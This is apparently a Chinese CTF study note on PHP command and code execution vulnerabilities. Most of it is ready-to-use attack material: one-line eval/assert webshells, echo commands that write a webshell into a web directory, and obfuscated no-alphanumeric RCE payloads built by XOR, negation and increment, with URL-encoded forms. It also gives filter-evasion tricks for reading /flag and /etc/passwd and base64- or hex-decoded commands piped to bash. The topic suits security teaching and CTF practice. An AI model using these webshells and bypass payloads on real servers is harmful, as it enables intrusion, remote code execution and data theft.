命令执行

原因:

分为命令执行漏洞和代码执行漏洞

后端代码没有对用户输入的参数进行严格过滤,导致参数被拼接到命令执行函数中。攻击者可以通过命令执行漏洞在目标服务器执行任意命令

执行的是服务端代码如phpinfo(),而命令执行漏洞执行的是系统命令如whoami

危害:

  1. 继承web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell,获得目标服务器的权限
  3. 进一步内网渗透

php代码执行函数:

1
2
3
4
5
6
1.eval():eval函数传入的参数必须为php代码,既要以分号结尾;如果想执行系统命令,必须加上命令执行函数如system(“命令”);
2.assert():适用于php5版本 php7.0可以用配置文件去掉assert的代码执行,php7.1不能执行代码, php7.2不能传入字符串参数。功能:检测一个断言是否为false
3.call_user_func():回调函数
4.call_user_func_array()
5.preg_replace:php>5.5不再支持,正则表达式替换函数
6.array_map

1.eval:eval函数传入的参数必须为php代码,既要以分号结尾;如果想执行系统命令,必须加上命令执行函数如system(“命令”);

1
2
eval ( string $code )
<?php @eval($_POST['cmd']);?>

image-20240606110351170

2.assert:适用于php5版本 php7.0可以用配置文件去掉assert的代码执行,php7.1不能执行代码, php7.2不能传入字符串参数。功能:检测一个断言是否为false

1
2
3
assert ( mixed $assertion [, string $description ] )
#如果assertion是字符串,将会被assert()当做php代码来执行;不需要分号结尾
<?php @assert($_POST['cmd'])?>

image-20240606110433397

3.call_user_func

1
2
3
4
5
6
7
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
#第一个参数callback是被调用的回调函数,其余参数是回调函数的参数
<?php
call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>

image-20240606110537293

4.call_user_func_array

1
2
3
4
5
6
7
8
9
call_user_func_array ( callable $callback , array $param_arr )
#把第一个参数作为回调函数(callback)调用,把参数数组做(param_arr)作为回调函数的参数传入
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
?>

image-20240606110622075

5.preg_replace:php>5.5不再支持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#正则表达式替换函数,当第一个参数使用“/e”作为修饰符,会把第二个参数作为字符串当作php代码执行
preg_replace("/abc/e", $_REQUEST['cmd'], "abc");
#第三个参数要能够满足第一个参数匹配的字符串,不会写,可以尽量和第一个参数里的保持一致
#特殊用法:
<?php
if(isset($_GET['data']))
{
$data = $_GET['data'];
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
// $data = preg_replace('/(.*)/e', 'strtoupper('\\1')',$data);
print $data;
}
// 通过正则表达式把输入的结果$data放入了缓冲区,使用strtoupper("\\1")进行读取
// /e 修正符使 preg_replace() replacement 参数当作 PHP 代码
// ?data=[php]{${system(ipconfig)}}[/php]
// 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
// 注意:双引号中的函数不会被执行和替换。
// 防御:将 strtoupper("\\1") 修改为strtoupper('\\1'),这样'${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)
?>

image-20240606111242087

image-20240606112555632

6.array_map

1
2
3
4
5
6
7
8
$function_name = $_POST['func'];  // 从post参数func获取函数名
$function_args = $_POST['args']; // 从post参数args获取参数值
$arr[0] = $function_args; // 把参数值换成数组
array_map($function_name, $arr); // array_map执行 func(args);
使用方法:
body:
func=system&args=whoami // system("whoami");
func=phpinfo&args=1 // phpinfo(1);

呃,这里eval不是函数,特别标记一下,所以不能传进去该获取shell函数

image-20240606113503838

常见系统命令执行函数:

1
2
3
4
5
6
7
system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。

1.system

1
2
3
system ( string $command [, int &$return_var ] )
#执行系统外部命令,并直接将结果输出到浏览器,第二个参数是返回值;true or false
system('ls') #会直接返回当前文件下的目录。该函数提交命令自己回显

image-20240606114603740

2.exec:无回显;

1
2
3
4
5
6
7
8
9
10
11
12
exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
// echo exec('whoami');
// exec('ls -la', $return);
// var_dump($return);

$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return)
?>

image-20240606120447147

3.passthru(读取二进制流):system()的平替,写个命令就会执行命令,自己能回显

1
2
3
passthru("whoami"); 

passthru($_REQUEST['cmd']);

image-20240606134756260

4.shell_exec和反引号``:不能自己回显,需要借用echo\print等输出结果

1
2
shell_exec(ls)
`ls`

image-20240606135014879

5.popen:语法为popen(string command, string mode),command参数: 要执行的命令,mode参数: 模式’r’表示阅读,’w’ 表示写入。不能自己回显,需要print_r等输出内容

1
2
popen("whoami",'r');

image-20240606135246524

6.proc_popen

1
2
3
4
5
6
7
proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options)
$command是要执行的命令。
$descriptorspec是一个描述符规范数组,用于指定进程的输入、输出和错误的文件描述符。
$pipes是一个引用变量,用于存储与进程相关的管道。
$cwd(可选)是设置子进程的当前工作目录。
$env(可选)是设置子进程的环境变量。
$other_options(可选)是其他选项,如设置超时等。

7.pcntl_exec:语法格式为pcntl exec(string path, array args = ?, array $envs = ?)
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 (比如文件第一行是#!/usr/local/bin/perl的perl脚本)。args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。该函数没有回显,

1
2
解决方法一:cat文件并输出到有权限读取路径;
解决方法二:shell反弹

命令执行写webshell

1
2
windows:
echo "<?php eval($_POST['cmd']);?>" > webshell.php
1
2
linux:需要转义\$  单引号包裹不需要转义,需要写入到有权限的目录。
echo "<?php eval(\$_POST['cmd']);?>" > /var/www/html/upload/webshell.php

反弹shell

在没有回显的命令执行或是无法上传webshell;就需要反弹shell。

利用

云平台;交互页面;容器逃逸;

绕过:(以下是转载内容)

  1. ;

  2. */ ?通配符

    1
    2
    3
    4
    cat fl* 利用*匹配任意 不行
    echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
    ca\t fl\ag.php 不行
    cat fl''ag.php 不行
  1. 变量拼接:

    1
    2
    a=f;b=lag.php;cat $a$b
    a=g;cat$IFS$1fla$a.php

    4.无字母rce

利用各种非数字字母的字符,经过各种变换(异或取反自增),构造出单个的字母字符。然后把单个字符拼接成一个函数名,如assert,然后就可以动态执行了

1、异或^
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一,ascii码表见后面:

1
2
3
4
5
6
7
8
9
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

2.取反
每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
方法一

首先,我们想要构造的依然是assert($POST[])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。

1
2
3
4
5
6
$_=~(%9E%8C%8C%9A%8D%8B);    //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB); //$__=_POST
$___=$$__; //$___=$_POST
$_($___[_]); //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

方法二

方法二是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$_++;                //得到1,此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a,此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s,此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此时$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])
放到一排就是:
$_++;$__ = "极";$___ = ~($__{$_});$__ = "区";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]);
url:%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

3、自增

在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++; 将把 $a 变成'AA'。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。

也就是说,只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了

正好,数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了aA,相当于我们就可以拿到a-zA-Z中的所有字母了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
url:%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
说实话真的太长了,要是稍微有个长度限制就用不了,所以说这种方法只做了解即可

php5和php7的区别

在研究无数字字母rce的过程中,一个很重要的函数就是assert,但在php5的版本和php7的版本中,它是有一些区别的,我们上面的测试都是基于php5进行的,在php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码,在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的:

img

例子一

在php7中,因为可以使用($a)()这种方法来执行命令,所以说我们利用call_user_func()来举例,(call_user_func)(system,whoami,'')即可执行whoami的命令:

img

那构造出来的结果就为:

1
(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

例子二

再来一个在php7中利用file_put_contents()写入shell的例子:

img

我们要构造的语句为:file_put_contents('4.php','<?php eval(\$_POST[1]);');构造出来就为:

1
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

ascii码表。16进制

image-20240517153124863

空格过滤绕过:

1.大括号

1
{cat,flag.php}

2.$IFS代替空格

1
2
3
4
5
6
7
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l

3.重定向字符>,<

4.%09绕过

1
就是tab键

文件名的过滤:

1.??,*绕过

1
2
cat /fl??
cat /f* #多个匹配结果同时展现

2.单引号,双引号,反引号绕过正则

1
2
3
4
cat /fl""ag
c""at /e't'c/pas``s``wd
对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错
passthru('cat /fl""ag.p\'\'hp')

3.反斜杠\绕过

1
2
\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令
cat fl\ag.p\hp

4.特殊变量: $1到 $9,$@和$*

1
2
3
4
5
6
这些特殊变量输出为空
cat /fl$9ag
或者可以在单词词尾加上$x x是任意字母
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x

5.内联执行绕过

1
2
a=c;b=a;c=t;$a$b$c /1.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)

6.利用linux中的环境变量

1
2
3
4
echo $PATH              #PATH默认系统环境变量
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示了flag.php

常见文件读取命令绕过

1.base64解码

1
2
3
4
5
6
cat flag.php--> Y2FOIGZSYWcucGhw
echo Y2FOIGZsYWcucGhw | base64 -d
管道符|把前面指令执行的结果,变成后面指令的参数,所以这里会解码读取命令
echo Y2FOIGZsYWcucGhw | base64 -d | bash
$(echo Y2FOIGZsYWcucGhw | base64 -d)
`echo Y2FOIGZsYWcucGhw | base64 -d` #反引号

2.base32

3.HEX编码

1
2
3
4
5
tac flag--> 74616320666c6167
echo "74616320666c6167”|xxd -r -p|bash
xxd: 二进制显示和处理文件工具。
-r-p将纯十六进制转储的反向输出打印为了ASCII格式
bash、sh、/bin/bash、反引号等

4.shellcode编码(16进制机器码)

1
2
3
4
5
6
?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');

?cmd=passthru('`printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');

?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');

过滤cat读取命令

1
2
3
cat flag.php 是用于在终端上显示当前目录下名为 flag.php 的文件的内容。
cat /flag 是用于在终端上显示根目录下名为 flag 的文件的内容。
cat flag 是用于在终端上显示当前目录下名为 flag 的文件的内容。

正常来说flag放在根目录下,不过也可能是在当前网页目录下

别的指令也同理

1.tac:反向显示,从最后一行往前

1
tac /flag

2.more:一页一页的展示

1
more flag.php

3.less:类似more

4.tail:查看末尾

5.nl:显示的时候输出行号

1
2
3
4
5
nl /flag  nl flag 是不同的。

Linux 系统中,nl 命令用于给文件添加行号。当使用 nl /flag 命令时,/flag 被视为一个文件路径,并将该文件的内容输出到标准输出(通常是终端),并在每一行前添加行号。如果 /flag 文件存在且有读取权限,那么 nl /flag 将会给该文件的内容添加行号。

而当使用 nl flag 命令时,flag 被视为一个相对于当前目录的文件路径。也就是说,nl flag 命令将会尝试在当前目录下找到名为 flag 的文件,并给其内容添加行号。(不过flag一般在根目录)

6.od:以二进制方式读取,正常的od /flag输出的纯纯二进制,需要

1
passthru("od -A d -c /fla\g");

7、xxd:读取二进制文件

8.sort:主要用于排序文件

1
2
3
/usr/bin/s?rt /flag 
so?t /flag
/usr/bin/sort sort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flag sort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以

9、uniq:报告或删除文件中重复的行,其实当成cat用就行

10、file -f:报错出具体内容

1
passthru("file -f /flag");

11、grep:在文本中查找指定字符串

1
passthru("grep fla /fla*");

12、strings:等于cat

可参考观看的的连接

1
https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098885&idx=1&sn=7ae29de00da6dd4dd0d1dd80ec442cc7&chksm=803c698cb74be09ac2134f4d55f64dc51a2e3ec114f5471511d00202e4b0d32ef7f484039f26&mpshare=1&scene=23&srcid=0706J9BuISmH2RvRKeTexsfT&sharer_sharetime=1657099643261&sharer_shareid=9cd9dc169042726f3d8646a229a355c0#rd